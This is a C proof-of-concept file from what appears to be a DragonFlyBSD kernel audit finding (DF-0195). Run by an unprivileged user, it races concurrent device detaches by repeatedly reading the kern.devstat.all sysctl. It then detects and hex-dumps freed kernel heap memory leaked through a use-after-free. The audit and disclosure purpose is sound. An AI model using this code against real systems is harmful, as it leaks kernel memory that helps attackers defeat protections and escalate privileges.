DragonFlyBSD Kernel Audit
DF-0195 / reader.c
← back to finding ↓ download raw
/*
 * DF-0195 unprivileged victim: hammer the world-readable sysctl
 * `kern.devstat.all` in a tight loop and DETECT a use-after-free read.
 *
 * Run as the unprivileged user (maxx).  When a device is concurrently
 * detached (here: by the root-loaded harness ds195.ko), sysctl_devstat()'s
 * unlocked STAILQ walk (sys/kern/subr_devstat.c:289-292) follows a freed
 * slab chunk, copying freed-memory contents back to userspace.
 *
 * Detection: the devstat blob is [8-byte generation][N x 200-byte struct devstat].
 * A live devstat entry has a sane device_name.  A freed chunk read back as a
 * devstat contains either:
 *   - 0xdeadc0de poison (when root sets debug.use_weird_array=1), or
 *   - a kernel-heap free-list pointer in the first 8 bytes + stale residue.
 * Either is unambiguous proof of a UAF read.  We hex-dump the first anomalies.
 *
 * Usage: ./reader [seconds]
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <ctype.h>

#define DS_SIZE 200		/* sizeof(struct devstat), verified empirically */
#define BUF_SIZE 16384

static unsigned long iter = 0, anomalies = 0;
static int dumped = 0;

/* 0xdeadc0de little-endian byte pattern.  Require >=2 consecutive copies:
 * the slab poison (debug.use_weird_array=1) fills bytes 8..63 of a freed
 * 200-byte devstat chunk with 14 copies of 0xdeadc0de, which can never appear
 * in a live devstat entry (it would need exactly that many bytes_read etc.). */
static int
has_weird(const unsigned char *p, int n)
{
	int i, run = 0, maxrun = 0;
	for (i = 0; i + 3 < n; i++) {
		if (p[i] == 0xde && p[i+1] == 0xc0 && p[i+2] == 0xad &&
		    p[i+3] == 0xde) {
			run++;
			if (run > maxrun)
				maxrun = run;
			i += 3;
		} else {
			run = 0;
		}
	}
	return (maxrun >= 2);
}

static int
bad_devname(const unsigned char *name)
{
	int i, printable = 0;
	/* valid devstat names are short ASCII driver tags */
	for (i = 0; i < 16; i++) {
		if (name[i] == 0)
			break;
		if (isprint(name[i]))
			printable++;
		else
			return 1;
	}
	if (printable == 0 || printable > 15)
		return 1;
	return 0;
}

static void
hexdump(const unsigned char *p, int n, const char *tag)
{
	int i;
	fprintf(stderr, "\n=== ANOMALY %s (iter=%lu) ===\n", tag, iter);
	for (i = 0; i < n; i++) {
		if ((i & 15) == 0)
			fprintf(stderr, "  %04x:", i);
		fprintf(stderr, " %02x", p[i]);
		if ((i & 15) == 15)
			fprintf(stderr, "\n");
	}
	fprintf(stderr, "\n");
}

int
main(int argc, char **argv)
{
	int name2[CTL_MAXNAME];
	size_t nlen, dsize;
	unsigned char buf[BUF_SIZE];
	int secs = (argc > 1) ? atoi(argv[1]) : 20;

	nlen = sizeof(name2);
	if (sysctlnametomib("kern.devstat.all", name2, &nlen) != 0) {
		perror("sysctlnametomib");
		return 1;
	}

	alarm(secs);
	fprintf(stderr, "DF-0195 reader: hammering kern.devstat.all for %ds "
	    "(DS_SIZE=%d)\n", secs, DS_SIZE);

	for (;;) {
		size_t sz = sizeof(buf);
		unsigned char *p;
		int n, j;

		memset(buf, 0, sizeof(buf));
		if (sysctl(name2, nlen, buf, &sz, NULL, 0) != 0) {
			if (errno == EFAULT || errno == ENOMEM)
				anomalies++;
			continue;
		}
		iter++;
		if (sz < 8)
			continue;

		/* walk each 200-byte devstat entry after the 8-byte generation */
		n = (int)((sz - 8) / DS_SIZE);
		for (j = 0, p = buf + 8; j < n; j++, p += DS_SIZE) {
			unsigned long w0;	/* dev_links.stqe_next */
			memcpy(&w0, p, sizeof(w0));
			/* device_name is at offset +12 (after 8-byte STAILQ ptr
			 * + 4-byte device_number); a live entry has an ASCII tag
			 * there, a freed/poisoned chunk has 0xdeadc0de. */
			if (has_weird(p, DS_SIZE) || bad_devname(p + 12)) {
				anomalies++;
				if (dumped < 6) {
					hexdump(p, DS_SIZE,
					    has_weird(p, DS_SIZE) ?
					    "POISON-0xdeadc0de" : "BADENTRY");
					fflush(stderr);
					dumped++;
				}
			}
		}
	}
	return 0;
}